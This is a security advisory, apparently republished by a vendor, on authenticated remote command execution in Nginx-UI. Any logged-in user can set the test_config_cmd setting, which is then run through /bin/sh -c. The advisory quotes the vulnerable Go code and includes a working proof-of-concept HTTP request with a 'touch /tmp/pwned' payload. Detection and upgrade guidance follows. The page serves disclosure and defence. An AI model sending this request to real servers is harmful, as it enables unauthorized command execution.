GHSA-pxmr-q2x3-9x9m
HIGHAuthenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/0xJacky/Nginx-UIReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.
func InitPrivateRouter(r *gin.RouterGroup) {
r.GET("settings", GetSettings)
r.POST("settings", SaveSettings)
...
}
The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.
The SaveSettings function is defined as follows:
func SaveSettings(c *gin.Context) {
var json struct {
...
Nginx settings.Nginx `json:"nginx"`
...
}
...
settings.NginxSettings = json.Nginx
...
err := settings.Save()
...
}
The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:
func TestConf() (out string) {
if settings.NginxSettings.TestConfigCmd != "" {
out = execShell(settings.NginxSettings.TestConfigCmd)
return
}
out = execCommand("nginx", "-t")
return
}
The execShell function is defined as follows:
func execShell(cmd string) (out string) {
bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
out = string(bytes)
if err != nil {
out += " " + err.Error()
}
return
}
Where the cmd argument is user-controlled and is passed to /bin/sh -c.
This issue was found using CodeQL for Go: Command built from user-controlled sources.
Proof of Concept
Based on this setup using
uozi/nginx-ui:v2.0.0-beta.7.
- Login as a newly created user.
- Send the following request to modify the settings with
"test_config_cmd":"touch /tmp/pwned".
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json
{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
- Add a new site in
Home > Manage Sites > Add Sitewith random data. The previously-modifiedtest_config_cmdsetting will be used when the application tries to test the nginx configuration. - Verify that
/tmp/pwnedexists.
$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root 0 Dec 14 21:10 pwned
Impact
This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/0xJacky/Nginx-UI | all versions | 2.0.0.beta.9 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/0xJacky/Nginx-UI. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/0xJacky/Nginx-UI to 2.0.0.beta.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pxmr-q2x3-9x9m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pxmr-q2x3-9x9m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-pxmr-q2x3-9x9m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pxmr-q2x3-9x9m in your dependencies?
O3 detects GHSA-pxmr-q2x3-9x9m across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.